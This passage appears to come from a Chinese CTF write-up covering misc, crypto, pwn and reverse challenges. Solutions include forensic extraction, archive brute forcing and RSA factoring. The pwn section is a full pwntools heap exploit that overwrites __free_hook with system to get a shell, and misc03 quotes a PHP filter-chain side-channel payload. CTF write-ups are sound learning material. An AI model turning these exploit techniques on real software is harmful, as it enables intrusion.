KsnZngT3YQDi3UGAtBvR+G8UfUKP1MLHvlAjF/Bx3EUfYiJKwGM+K6ccUvhwdAVZWsa1px/a3Mm8hyOOzGufe+WmFIzegJEOfvfpg6razXgyQ/krPAZa+GR80LN4jT8doLsvNyJ0H6LjK8lbUNiTooL4XwWORUjq2AUjGamPVXO2qO7N3pZN29qZ2Z2iPSzOfxCMUmdPX7JgpsV9DewEs35dqL7+nVXyUolV5FUHVgNY8R1t/mL5GY+jRdfc7RFpAjSAa8dCnnMWlOca98c/rck2t57XbyQCFAr/78hUkmSy/NKdgAKJqIJS2R+9BKt9qAHNO5gY8Yc/k2LmRWq/S656dC9CDlJEDO2DJ0uOWkCpz3eMXJ3TXI0lLUqWGrMWsQluj7NNF0EqrF16qTrRiJBHAMWxCj311HxLzEPF4AqXJ8hgsgaEAsCiv5Q3JIA9vHnH7f/761n0MNaQ21EqFPy2jU48EgGXEGXaQ1EpCXCHmtRAiuaygiEhTdJQCzoN/Ym7AnHkGObtpF/84R4mtAYzb6gwaZvwUMwJmK+wfAE+AtlEJG6XXg5f1eyVwDGetedIyxo3apPQXxdjMrcswFADYsMbL65tl8s9bdNaXm1pav7mLXiMkVnrTQCGtAYy+gj0tpET+WJS/Y13ekpeZlnS0UuhHH6578zY6H8zCdDXOLFbBL6W9I0pBxxLRwlJL1PyilF/XRjR6tMAdZ4I2wl0kWujRFWmDR1mM2UXnFWEYhQ8c9NZSFoLPX98ukz68bd8EgPcGmWE1TYPav1UBDu7YPRe4dtKYFGY8osZLSK9bdkEQbWZ7b1RNaGhes/c1A6b2eHHGSqDMbZhswDN0EaVQx6xQKYbOVe+SSIk2H5QM0xmPwG7AMAUMOmi5ZbSKRVBR911aayWsxKOxWfnWZ/3Um78eN6bMfF7YEkU4rN16lBLxo83fWz+tzX80VoiaYFmDTTofQSqcOaKlGwOpWogWiHyUiEKHFNSyAbGQKinVa7f+N1YT+O3hg5ARar1x1F+0XtBNRLz78hVEPxQ9HmHXQMQoxXIMJO3WWwLtAZ6ZYiNolGWr4XHlt6S2CKFlpUSiGjPDoJoRUMpAs7KhJyq0ypWlZHuLk1WbUdGLYvzt4QP4/HqngEr33cqushxfPr9a166n/N0aXBuMVtunDNIR4BSZvcqYJQqpRA5DjhAUloX8ShF/GfV8J8wgoi4MzPkt+kZecVF5QDMiMOqewGJG2/PXt9t3ueAnxA8N9dFeXt/cs+K2fkvp7/Po6Frv1t8wdNV/0yy0iX22hbO9429IXD9OtXPUF9LW/x5l482guZawz1/dfu57AaiSTeMCjhmk24wi1b1j2qXzFaLwNSNSHUkP3jy5ejv3AnCsqtmCr2WZjWDxlaIhwlioyNdtp/SfL2KOcmxpNLOrvsv2Whbt1hdYg3+zsOWMSJ4qLB/OuQBn3MNsg2r2+8cvP6bnbz6SLl6NfkFsDaiASaktZKju3LLf/wcOsj2d8Pa/YQAAAABJRU5ErkJggg== base64解码后即可得到下面这张图片 赛后和别的师傅交流的过程中发现有的师傅说这里直接 foremost 也可以得到这张图片 虽然是不完整的,但是 zsteg 一下也可以得到下面的 Hint 感觉这里也算是非预期吧,出题人如果隐写的内容不放在开头,可能就要把图片完整提取出来才行了 之前睿抗也遇到过这样的情况,也算是给自己提了个醒,以后出题别把隐写的内容放在图片头部(坏笑) zsteg一下,发现有一个Hint:Y3p_Ke9_1s_????? `` 然后我们在回头查看那个内存镜像,尝试一下常用的文件头,看看有没有别的文件 发现存在 7z 的文件头 37 7A BC AF 27 1C ,内存镜像的末尾藏了一个7z压缩包 因此我们手动提取出来,然后结合刚才的提示 Y3p_Ke9_1s_?????,猜测是压缩包掩码爆破 因此我们使用 ARCHPR 爆破上面提取得到的 7z 压缩包 爆破后得到压缩包解压密码:Y3p_Ke9_1s_29343 解压压缩包后得到 flag.txt ,内容如下: 31 226 PUSH_NULL 228 LOAD_NAME 8 (key_encode) 230 LOAD_NAME 7 (key) 232 PRECALL 1 236 CALL 1 246 STORE_NAME 7 (key) 32 248 PUSH_NULL 250 LOAD_NAME 10 (len) 252 LOAD_NAME 7 (key) 254 PRECALL 1 258 CALL 1 268 LOAD_CONST 7 (16) 270 COMPARE_OP 2 (==) 276 POP_JUMP_FORWARD_IF_FALSE 43 (to 364) 33 278 PUSH_NULL 280 LOAD_NAME 9 (sm4_encode) 282 LOAD_NAME 7 (key) 284 LOAD_NAME 5 (flag) 286 PRECALL 2 290 CALL 2 300 LOAD_METHOD 11 (hex) 322 PRECALL 0 326 CALL 0 336 STORE_NAME 12 (encrypted_data) 34 338 PUSH_NULL 340 LOAD_NAME 6 (print) 342 LOAD_NAME 12 (encrypted_data) 344 PRECALL 1 348 CALL 1 358 POP_TOP 360 LOAD_CONST 2 (None) 362 RETURN_VALUE 32 >> 364 LOAD_CONST 2 (None) 366 RETURN_VALUE Disassembly of <code object key_encode at 0x14e048a00, file "make.py", line 10>: 10 0 RESUME 0 11 2 LOAD_GLOBAL 1 (NULL + list) 14 LOAD_FAST 0 (key) 16 PRECALL 1 20 CALL 1 30 STORE_FAST 1 (magic_key) 12 32 LOAD_GLOBAL 3 (NULL + range) 44 LOAD_CONST 1 (1) 46 LOAD_GLOBAL 5 (NULL + len) 58 LOAD_FAST 1 (magic_key) 60 PRECALL 1 64 CALL 1 74 PRECALL 2 78 CALL 2 88 GET_ITER >> 90 FOR_ITER 105 (to 302) 92 STORE_FAST 2 (i) 13 94 LOAD_GLOBAL 7 (NULL + str) 106 LOAD_GLOBAL 9 (NULL + hex) 118 LOAD_GLOBAL 11 (NULL + int) 130 LOAD_CONST 2 ('0x') 132 LOAD_FAST 1 (magic_key) 134 LOAD_FAST 2 (i) 136 BINARY_SUBSCR 146 BINARY_OP 0 (+) 150 LOAD_CONST 3 (16) 152 PRECALL 2 156 CALL 2 166 LOAD_GLOBAL 11 (NULL + int) 178 LOAD_CONST 2 ('0x') 180 LOAD_FAST 1 (magic_key) 182 LOAD_FAST 2 (i) 184 LOAD_CONST 1 (1) 186 BINARY_OP 10 (-) 190 BINARY_SUBSCR 200 BINARY_OP 0 (+) 204 LOAD_CONST 3 (16) 206 PRECALL 2 210 CALL 2 220 BINARY_OP 12 (^) 224 PRECALL 1 228 CALL 1 238 PRECALL 1 242 CALL 1 252 LOAD_METHOD 6 (replace) 274 LOAD_CONST 2 ('0x') 276 LOAD_CONST 4 ('') 278 PRECALL 2 282 CALL 2 292 LOAD_FAST 1 (magic_key) 294 LOAD_FAST 2 (i) 296 STORE_SUBSCR 300 JUMP_BACKWARD 106 (to 90) 15 >> 302 LOAD_GLOBAL 3 (NULL + range) 314 LOAD_CONST 5 (0) 316 LOAD_GLOBAL 5 (NULL + len) 328 LOAD_FAST 0 (key) 330 PRECALL 1 334 CALL 1 344 LOAD_CONST 6 (2) 346 PRECALL 3 350 CALL 3 360 GET_ITER >> 362 FOR_ITER 105 (to 574) 364 STORE_FAST 2 (i) 16 366 LOAD_GLOBAL 7 (NULL + str) 378 LOAD_GLOBAL 9 (NULL + hex) 390 LOAD_GLOBAL 11 (NULL + int) 402 LOAD_CONST 2 ('0x') 404 LOAD_FAST 1 (magic_key) 406 LOAD_FAST 2 (i) 408 BINARY_SUBSCR 418 BINARY_OP 0 (+) 422 LOAD_CONST 3 (16) 424 PRECALL 2 428 CALL 2 438 LOAD_GLOBAL 11 (NULL + int) 450 LOAD_CONST 2 ('0x') 452 LOAD_FAST 1 (magic_key) 454 LOAD_FAST 2 (i) 456 LOAD_CONST 1 (1) 458 BINARY_OP 0 (+) 462 BINARY_SUBSCR 472 BINARY_OP 0 (+) 476 LOAD_CONST 3 (16) 478 PRECALL 2 482 CALL 2 492 BINARY_OP 12 (^) 496 PRECALL 1 500 CALL 1 510 PRECALL 1 514 CALL 1 524 LOAD_METHOD 6 (replace) 546 LOAD_CONST 2 ('0x') 548 LOAD_CONST 4 ('') 550 PRECALL 2 554 CALL 2 564 LOAD_FAST 1 (magic_key) 566 LOAD_FAST 2 (i) 568 STORE_SUBSCR 572 JUMP_BACKWARD 106 (to 362) 18 >> 574 LOAD_CONST 4 ('') 576 LOAD_METHOD 7 (join) 598 LOAD_FAST 1 (magic_key) 600 PRECALL 1 604 CALL 1 614 STORE_FAST 1 (magic_key) 19 616 LOAD_GLOBAL 17 (NULL + print) 628 LOAD_FAST 1 (magic_key) 630 PRECALL 1 634 CALL 1 644 POP_TOP 20 646 LOAD_GLOBAL 7 (NULL + str) 658 LOAD_GLOBAL 9 (NULL + hex) 670 LOAD_GLOBAL 11 (NULL + int) 682 LOAD_CONST 2 ('0x') 684 LOAD_FAST 1 (magic_key) 686 BINARY_OP 0 (+) 690 LOAD_CONST 3 (16) 692 PRECALL 2 696 CALL 2 706 LOAD_GLOBAL 11 (NULL + int) 718 LOAD_CONST 2 ('0x') 720 LOAD_FAST 0 (key) 722 BINARY_OP 0 (+) 726 LOAD_CONST 3 (16) 728 PRECALL 2 732 CALL 2 742 BINARY_OP 12 (^) 746 PRECALL 1 750 CALL 1 760 PRECALL 1 764 CALL 1 774 LOAD_METHOD 6 (replace) 796 LOAD_CONST 2 ('0x') 798 LOAD_CONST 4 ('') 800 PRECALL 2 804 CALL 2 814 STORE_FAST 3 (wdb_key) 21 816 LOAD_GLOBAL 17 (NULL + print) 828 LOAD_FAST 3 (wdb_key) 830 PRECALL 1 834 CALL 1 844 POP_TOP 22 846 LOAD_FAST 3 (wdb_key) 848 RETURN_VALUE magic_key:7a107ecf29325423 encrypted_data:f2c85bd042247896b43345e589e3ad025fba1770e4ac0d274c1f7c2a670830379195aa5547d78bcee7ae649bc3b914da得到SM4的密钥为:ada1e9136bb16171 最后CyberChef解一个SM4即可得到flag:wdflag{815ad4647b0b181b994eb4b731efa8a0} MISC03 打开pcap文件 上传一般是post uploads,查找到几个,有个 hacker.php 第一个IP就是 wdflag{39.168.5.60} MISC04 像素偏移 是2024IrisCTF的参考https://almostgph.github.io/2024/01/08/IrisCTF2024/脚本。 之前在某个群里好像有看到过类似的,感觉是希尔伯特-皮亚诺曲线 根据参考链接中的脚本复原一下图片 from PIL import Image from tqdm import tqdm def peano(n): if n == 0: return [[0,0]] else: in_lst = peano(n - 1) lst = in_lst.copy() px,py = lst[-1] lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst) px,py = lst[-1] lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst) px,py = lst[-1] lst.extend([px + 1 + i[0], py - i[1]] for i in in_lst) px,py = lst[-1] lst.extend([px - i[0], py - 1 - i[1]] for i in in_lst) px,py = lst[-1] lst.extend([px + i[0], py - 1 - i[1]] for i in in_lst) px,py = lst[-1] lst.extend([px + 1 + i[0], py + i[1]] for i in in_lst) px,py = lst[-1] lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst) px,py = lst[-1] lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst) return lst order = peano(6) img = Image.open("./1.png") width, height = img.size block_width = width # // 3 block_height = height # // 3 new_image = Image.new("RGB", (width, height)) for i, (x, y) in tqdm(enumerate(order)): # 根据列表顺序获取新的坐标 new_x, new_y = i % width, i // width # 获取原图像素 pixel = img.getpixel((x, height - 1 - y)) # 在新图像中放置像素 new_image.putpixel((new_x, new_y), pixel) new_image.save("rearranged_image.jpg") 复原后可以得到一个二维码,彩色的可能不好识别,分离一下通道,扫码即可得到flag: wdflag{4940e8dc-5542-4eee-9243-202ae675d77f}最后,有兴趣的师傅也可以尝试复原一下下面这张图片(感觉比上面的简单) 但是感觉可以帮助大家理解原理 二、白虎组Miscmisc011、分析流量包 下载附件打开流量包,根据题目提示“将恶意报文中攻击者构造的teid按时间先后顺序进行拼接” wireshark打开 搜索字符串 teid 发现很多包含 teid 的包,需要工具 tshark.exe 读取 teid , 然后导入表格种进行分析 2、导出teid数据 使用 tshark.exe 批量提取数据包的 teid 值 tshark.exe -r UPF.cap -T fields -e gtp.teid > teid.csv 3、分析表格数据 直接对数据去重找到两个很可疑的,其他都是单个只有这俩是多个 查看 teid 值,发现有两行数据存在两条异常数据,初步判 断应该是这两行数据,16进制进制转换然后进行拼接 拼接提交 wdflag{2235649299000124} misc02附件提供流量包和加密算法脚本 分析流量和脚本 可以借助大模型快速分析脚本 加密脚本分析 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend import struct def pad(text): while len(text) % 16 != 0: text += ' ' return text def encrypt(key, plaintext): key_bytes = struct.pack('>I', key) key_bytes = key_bytes.ljust(16, b'\0') cipher = Cipher(algorithms.AES(key_bytes), modes.ECB(), backend=default_backend()) encryptor = cipher.encryptor() padded_plaintext = pad(plaintext).encode() encrypted = encryptor.update(padded_plaintext) + encryptor.finalize() return encrypted if __name__ == "__main__": key = 1 msg = "123" print(encrypt(key,msg))文件内容是一个 Python 脚本,包含了一个简单的 AES 加密函数。这个脚本定义了两个函数:pad 用于填充文本以确保其长度是 16 的倍数,encrypt 用于执行 AES 加密。在主程序部分,使用了一个密钥 key = 1 和一个消息 msg = "123" 来进行加密,并打印出加密后的结果。 AES 加密是一种广泛使用的对称加密算法,而 ECB(电子密码本模式)是其一种模式。然而,ECB 模式存在一些安全缺陷,例如它不能很好地隐藏数据模式,相同的输入块会生成相同的输出块,这可能会泄露信息。 分析流量包 查看数据流 分析密钥为:475070864,待解密消息为:4ff7909b1d1e3e1ef33dd958adf1f4fb25306274720f807c4252beaaa1fe31ad867ec46c1f48fa734de206574d3189f1 可以运用脚本进行计算 解密脚本 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend import struct def pad(text): while len(text) % 16 != 0: text += ' ' return text def decrypt(key, ciphertext): key_bytes = struct.pack('>I', key) key_bytes = key_bytes.ljust(16, b'\0') cipher = Cipher(algorithms.AES(key_bytes), modes.ECB(), backend=default_backend()) decryptor = cipher.decryptor() decrypted = decryptor.update(ciphertext) + decryptor.finalize() return decrypted.decode() # Given key and ciphertext key = 475070864 ciphertext = bytes.fromhex('4ff7909b1d1e3e1ef33dd958adf1f4fb25306274720f807c4252beaaa1fe31ad867ec46c1f48fa734de206574d3189f1') # Decrypt the ciphertext decrypted_message = decrypt(key, ciphertext) decrypted_message 得出结果 misc03侧信道攻击,参考这篇文章https://boogipop.com/2023/05/08/Web%E4%BE%A7%E4%BF%A1%E9%81%93%E5%88%9D%E6%AD%A5%E8%AE%A4%E8%AF%86/#DownUnderCTF2022-minimal-php 接着用tshark工具将流量包中的value和对应状态码提取,在python中转成字典格式,替换原脚本的网页请求 并修改原脚本两处地方 blow_up_enc = join(*['convert.quoted-printable-encode'] * 3000) req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}'),可以直接跑出flag misc04不管他是什么,先拖入随波逐流]CTF编码工具 有包含[随波逐流]CTF编码工具--文件---binwalk提取 2.png 拖入[随波逐流]CTF编码工具:[随波逐流]CTF编码工具---图片---左右反转 得到一半flag,再2个个压缩包里面都是2.png,只有文件夹中压缩包是11.png 要密码,前面有个提示 comment: "!@#QQQ0010flag" 明显是要爆破 自己写一个字典 passlist=[] for i in range(1000,10000): passlist.append('!@#QQQ0010flag'+str(i)) with open(r'f:\temp\password.txt','w') as f: for pas in passlist: f.write(pas+'\n')11.zip 拖入[随波逐流]CTF编码工具–密文区 password.txt拖入[随波逐流]CTF编码工具—-密钥区 [随波逐流]CTF编码工具--文件---zip密码字典爆破 密码:!@#QQQ0010flag8456 拖入[随波逐流]CTF编码工具 又有包含 [随波逐流]CTF编码工具---文件---foremost提取 很明显修改了宽高 居然没有能自动修改宽高,那只可能是CRC也被修改了 计算实际的宽高 import struct import zlib import os def calculate_crc(data, crc=None): if crc is None: crc = 0xffffffff return zlib.crc32(data) & 0xffffffff def brute_force_width_height(file_path, known_crc): with open(file_path, 'rb') as f: # 检查 PNG 文件头 signature = f.read(8) if signature != b'\x89PNG\r\n\x1a\n': print("这不是一个有效的 PNG 文件") return None, None # 读取 IHDR 块 chunk_length = struct.unpack('>I', f.read(4))[0] if chunk_length != 13 or f.read(4) != b'IHDR': print("IHDR 块不正确") return None, None # 读取宽度和高度 width, height = struct.unpack('>2I', f.read(8)) # 尝试不同的宽度和高度值,计算 CRC for w in range(1, width + 1): for h in range(1, height + 1): # 构建 IHDR 块数据 ihdr_data = struct.pack('>2I5B', w, h, 8, 6, 0, 0, 0) # 计算 CRC crc = calculate_crc(b'IHDR' + ihdr_data) if crc == known_crc: print("找到匹配的宽高: 宽度 = %d, 高度 = %d" % (w, h)) return w, h return None, None # 使用示例 file_path = r'f:/temp/15.png' # 替换为你的 PNG 文件路径 known_crc = 0xd370e9a1 # 替换为你已知的 CRC 值 width, height = brute_force_width_height(file_path, known_crc) if width and height: print("实际宽度: %d, 实际高度: %d" % (width, height))实际宽度: 620, 实际高度: 92 或者用 puzzlesolver 爆破宽高 得到一张png,拖到工具直接改宽高。 [随波逐流]CTF编码工具--文件---2进制转16进制 将0320 012C改成026C 005C 右键:导出为hex文件00000254-2.png wdflag{5fgh576eee739dh7u904bea4860s4eg5} CryptoCRYPTO01解题思路 两个函数,P(x) = P * x,S(x) = A*x +b, 令 ,T = P^{-1}AP, U = P^{-1}b 则r = T{14}x+(T{13}+T{12}+...+I)U+(T{13}+T^{12}+...+I) P^{-1}k 因为flag头“wdflag{”7个字符,所以再爆破1个解上述方程,可得到列表keys,遍历keys后得到flag。 from Crypto.Util.number import * cipher_text = [] perm_indices = [] BLOCK_SIZE = 64 ROUNDS = 14 # Inverse permutation list inverse_permutation = [perm_indices.index(i) for i in range(BLOCK_SIZE)] # Constants for the mask and IV MASK = 0b1110001001111001000110010000100010101111101100101110100001001001 IV = 7 # Helper functions binary_to_integer = lambda bits: Integer(sum([bits[i] * 2**i for i in range(len(bits))])) # Create the permutation matrix P_matrix = matrix(GF(2), BLOCK_SIZE, BLOCK_SIZE) for i, perm_index in enumerate(perm_indices): P_matrix[i, perm_index] = 1 # Permutation function def permute(x): bit_x = x.bits() if len(bit_x) < BLOCK_SIZE: bit_x.extend([0] * (BLOCK_SIZE - len(bit_x))) bit_x = P_matrix * vector(GF(2), bit_x) return binary_to_integer(vector(ZZ, bit_x).list()) # Inverse permutation function def inverse_permute(x): bit_x = x.bits() if len(bit_x) < BLOCK_SIZE: bit_x.extend([0] * (BLOCK_SIZE - len(bit_x))) bit_x = P_matrix.inverse() * vector(GF(2), bit_x) return binary_to_integer(vector(ZZ, bit_x).list()) # Define matrix A and vector b based on IV and MASK A_matrix = matrix(GF(2), BLOCK_SIZE, BLOCK_SIZE) for i in range(BLOCK_SIZE): A_matrix[i, i] = 1 for i in range(BLOCK_SIZE): j = i - IV if j >= 0: A_matrix[i, j] = 1 b_vector = vector(GF(2), BLOCK_SIZE) for i in range(BLOCK_SIZE): if (MASK >> i) & 1: b_vector[i] = 1 # Substitution function def substitute(x): bit_x = x.bits() if len(bit_x) < BLOCK_SIZE: bit_x.extend([0] * (BLOCK_SIZE - len(bit_x))) bit_x = vector(GF(2), bit_x) result = A_matrix * bit_x + b_vector return binary_to_integer(vector(ZZ, result)) # Define matrix transformations for decryption T_matrix = P_matrix.inverse() * A_matrix * P_matrix U_vector = P_matrix.inverse() * b_vector sum_T_matrix = sum(T_matrix**i for i in range(ROUNDS)) # Key recovery recovered_keys = [] for i in range(1, 32): cipher_bits = cipher_text[-1].bits() while len(cipher_bits) != BLOCK_SIZE: cipher_bits += [0] cipher_bits = vector(GF(2), cipher_bits) message_bytes = bytes([i]) * 8 message_bits = Integer(bytes_to_long(message_bytes)).bits() while len(message_bits) != BLOCK_SIZE: message_bits += [0] message_bits = vector(GF(2), message_bits) cipher_bits -= T_matrix**ROUNDS * message_bits cipher_bits -= sum_T_matrix * U_vector try: P_inverse_key = sum_T_matrix.solve_right(cipher_bits) key = P_matrix * P_inverse_key recovered_key = sum([int(key[j]) * 2**j for j in range(len(key))]) recovered_keys.append(recovered_key) except: pass # Decryption function def decrypt_block(cipher_block, key): cipher_bits = cipher_block.bits() key_bits = key.bits() while len(cipher_bits) != BLOCK_SIZE: cipher_bits += [0] while len(key_bits) != BLOCK_SIZE: key_bits += [0] cipher_bits = vector(GF(2), cipher_bits) key_bits = vector(GF(2), key_bits) cipher_bits -= sum_T_matrix * P_matrix.inverse() * key_bits cipher_bits -= sum_T_matrix * U_vector decrypted_bits = (T_matrix**ROUNDS).inverse() * cipher_bits message_bytes = long_to_bytes(binary_to_integer(vector(ZZ, decrypted_bits))) return message_bytes # Attempt decryption with each recovered key for key in recovered_keys: decrypted_message = [decrypt_block(c, key) for c in cipher_text] flag = b"".join(decrypted_message) print(flag)CRYPTO02https://jayxv.github.io/2019/11/11/%E5%AF%86%E7%A0%81%E5%AD%A6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B9%8B%E6%B5%85%E6%9E%90Pollard's%20rho%20algorithm%E5%8F%8A%E5%85%B6%E5%BA%94%E7%94%A8/ 根据文章套板子直接打 Exp: import libnum from Crypto.Util.number import * e = 65537 n = 49025724928152491719950645039355675823887062840095001672970308684156817293484070166684235178364916522473822184239221170514602692903302575847326054102901449806271709230774063675539139201327878971370342483682454617270705142999317092151456200639975738970405158598235961567646064089356496022247689989925574384915789399433283855087561428970245448888799812611301566886173165074558800757040196846800189738355799057422298556992606146766063202605288257843684190291545600282197788724944382475099313284546776350595539129553760118549158103804149179701853798084612143809757187033897573787135477889183344944579834942896249251191453 with open("cipher.txt", "rb") as f: c = f.read() c = libnum.s2n(c) def gcd(a, b): while b: a, b = b, a%b return a def mapx(x): x=(pow(x,n-1,n)+3)%n return x def pollard_rho (x1,x2): while True: x1=mapx(x1) x2=mapx(mapx(x2)) p=gcd(x1-x2,n) if (p == n): print("fail") return elif (p != 1): q = n // p phi = (p - 1) * (q - 1) d = inverse(e, phi) print(long_to_bytes(pow(c, d, n))) break pollard_rho(1, 1)Pwnpwn01Edit存在任意地址写\x00,可以利用堆块错位申请打free_hook为system,free进tcachebin中的堆块会残留出libc_base和堆地址。之后修改fd最后一个字节为\x00触发漏洞,攻击free_hook获取shell Add show, free,edit三个功能函数,实际上edit只能用一次任意地址写 利用指针残留获得heap_base,libc_base Edit攻击目标地址-3,完成\x00修改fd位 之后触发tcachebin的整理机制完成tcachebin attack的操作 from pwn import* from struct import pack import ctypes #from LibcSearcher import * from ae64 import AE64 def bug(): gdb.attach(p) pause() def s(a): p.send(a) def sa(a,b): p.sendafter(a,b) def sl(a): p.sendline(a) def sla(a,b): p.sendlineafter(a,b) def r(a): p.recv(a) #def pr(a): #print(p.recv(a)) def rl(a): return p.recvuntil(a) def inter(): p.interactive() def get_addr(): return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) def get_addr32(): return u32(p.recvuntil("\xf7")[-4:]) def get_sb(): return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__() def get_hook(): return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook'] li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') #context(os='linux',arch='i386',log_level='debug') context(os='linux',arch='amd64',log_level='debug') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') #libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6') #libc=ELF('/lib/i386-linux-gnu/libc.so.6') #libc=ELF('libc-2.23.so') #libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6') #libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") elf=ELF('./pwn') #p=remote('',) p = process('./pwn') def add(size,content): rl("Input your choice") sl(str(1)) rl("Size :") sl(str(size)) rl("Content :") s(content) def free(i): rl("Input your choice") sl(str(2)) rl("Index :") sl(str(i)) def show(i): rl("Input your choice") sl(str(4)) rl("Index :") sl(str(i)) def edit(content): rl("Input your choice") sl(str(3)) rl("content :") s(content) add(0x98,b'a') add(0x98,b'a') add(0x98,b'a') #2 add(0x410,b'a') add(0x98,b'a') #4 free(3) add(0x410,b'a'*8) #5 show(5) libc_base=get_addr()-2018272 li(hex(libc_base)) free_hook=libc_base+0x1eee48 system=libc_base+0x52290 free(5) add(0x600,b'a') #6 add(0x410,b'a'*0x10) #7 show(7) rl("a"*0x10) heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x470 li(hex(heap_base)) add(0x140,b'/bin/sh\x00') #8 add(0x98,b'a') #9 add(0xa8,b'a') #10 add(0x98,b'a') #11 add(0xa8,b'a') #12 free(11) free(0) free(12) free(10) edit(p64(heap_base+0x290+8+5)) add(0x98,b'a') add(0x98,b'a'*0x38+p64(0xb1)+p64(free_hook)) add(0xa8,b'a') add(0xa8,p64(system)) free(8) p.sendline(b"cat flag") #print(p.recvline()) inter() Reversere01打开so文件,发现JNI_Onload 无法正确F5 在0x00000000001B4E0附近发现了间接跳转, 实际BR X8是跳转到下一条指令,所以这是花指令,直接NOP掉即可。 除开这种指令以外,还发现了这种间接跳转,这也是花指令,需要NOP掉 将上述字节全部替换完后,逆向发现 在init_array中hook了JNI_OnLoad,以及Hook了RegisterNative方法,使真正的native函数为sub_1A9A8 这个函数进行了魔改的AES操作,修改了Sbox。 然后将MixColumn和ShiftRows 交换了顺序 # print(key) sbox = [0xED, 0xF6, 0xDC, 0x13, 0xA7, 0xB9, 0x3A, 0x75, 0x65, 0x45, 0xA5, 0x9A, 0x1B, 0xC3, 0xE5, 0xAF, 0xBB, 0x6F, 0xAC, 0x69, 0xF5, 0xB0, 0xE7, 0x8D, 0x9C, 0x55, 0x79, 0x24, 0xD5, 0xBD, 0x06, 0xD0, 0xA9, 0x9F, 0x52, 0x10, 0x83, 0x0A, 0x72, 0x19, 0x50, 0xF1, 0x5A, 0x99, 0x32, 0x73, 0x56, 0xCE, 0x2E, 0xD8, 0xCB, 0x07, 0x63, 0xB8, 0xA1, 0x70, 0xF9, 0xE1, 0x3E, 0xCF, 0xEB, 0xC2, 0xB3, 0xE8, 0xA0, 0x7F, 0xE0, 0xFD, 0x4F, 0x31, 0x87, 0xA2, 0x95, 0xAD, 0x47, 0x0F, 0x90, 0x1E, 0x18, 0x86, 0x0E, 0x27, 0x3C, 0x82, 0x1F, 0xFF, 0x17, 0x36, 0xBA, 0xF3, 0xC5, 0x54, 0x96, 0x29, 0x04, 0x2B, 0x67, 0x33, 0x0D, 0x42, 0xE9, 0xF2, 0x44, 0x0B, 0xEA, 0x51, 0xE3, 0x4D, 0xFC, 0x26, 0xC7, 0x7E, 0x74, 0x91, 0xE6, 0x7A, 0xD9, 0x16, 0x30, 0xA8, 0x57, 0x60, 0x8C, 0x21, 0x61, 0x5D, 0x76, 0x2F, 0x03, 0x64, 0xB2, 0xA6, 0x8A, 0x8F, 0xB7, 0xEC, 0x1A, 0x7C, 0x88, 0xAE, 0x39, 0xAA, 0x59, 0x66, 0x6D, 0x2A, 0xFA, 0x4A, 0x40, 0xC8, 0xC0, 0x12, 0x98, 0x4C, 0x85, 0x6A, 0x05, 0x23, 0xDA, 0x43, 0xD3, 0x84, 0x78, 0x3F, 0x6C, 0xD2, 0x6E, 0x68, 0x22, 0x9D, 0xF4, 0x58, 0xB6, 0xA3, 0x62, 0x4E, 0x34, 0xD7, 0xF0, 0x53, 0xB1, 0xC6, 0x77, 0x5F, 0x48, 0x7D, 0x5E, 0x08, 0xE2, 0x71, 0x11, 0xDB, 0xFE, 0x81, 0xCD, 0xF7, 0x15, 0xEF, 0x01, 0x9B, 0x3D, 0x28, 0xB4, 0x38, 0xBC, 0xD6, 0x41, 0x93, 0xDD, 0xBF, 0x09, 0x92, 0xEE, 0xCC, 0xE4, 0x14, 0x8E, 0x5B, 0xBE, 0x7B, 0x5C, 0xAB, 0x37, 0xDF, 0xFB, 0x6B, 0x2D, 0xC1, 0x8B, 0xC9, 0xD1, 0x80, 0x2C, 0x94, 0x00, 0x25, 0x35, 0x4B, 0xD4, 0x3B, 0x49, 0x02, 0xF8, 0xA4, 0x46, 0x1C, 0x89, 0x0C, 0x97, 0xDE, 0x20, 0xCA, 0x9E, 0x1D, 0xC4, 0xB5] rsbox = [0] * 256 for i in range(256): rsbox[sbox[i]] = i print(rsbox)C代码如下: main.cpp #include <stdio.h> #include "aes.hpp" uint8_t Buf[48] = { };//密文 int main() { uint8_t key[16] = { 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10 }; AES_ctx aes_ctx; // AES_init_ctx_iv(&aes_ctx, key, key); // AES_CBC_encrypt_buffer(&aes_ctx, Buf, 48); AES_init_ctx_iv(&aes_ctx, key, key); AES_CBC_decrypt_buffer(&aes_ctx, Buf, 48); printf("%s\n", Buf); }AES.cpp /* This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode. Block size can be chosen in aes.h - available choices are AES128, AES192, AES256. The implementation is verified against the test vectors in: National Institute of Standards and Technology Special Publication 800-38A 2001 ED ECB-AES128 ---------- plain-text: 6bc1bee22e409f96e93d7e117393172a ae2d8a571e03ac9c9eb76fac45af8e51 30c81c46a35ce411e5fbc1191a0a52ef f69f2445df4f9b17ad2b417be66c3710 key: 2b7e151628aed2a6abf7158809cf4f3c resulting cipher 3ad77bb40d7a3660a89ecaf32466ef97 f5d3d58503b9699de785895a96fdbaaf 43b1cd7f598ece23881b00e3ed030688 7b0c785e27e8ad3f8223207104725dd4 NOTE: String length must be evenly divisible by 16byte (str_len % 16 == 0) You should pad the end of the string with zeros if this is not the case. For AES192/256 the key size is proportionally larger. */ /*****************************************************************************/ /* Includes: */ /*****************************************************************************/ #include <string.h> // CBC mode, for memset #include "aes.h" #include <stdio.h> 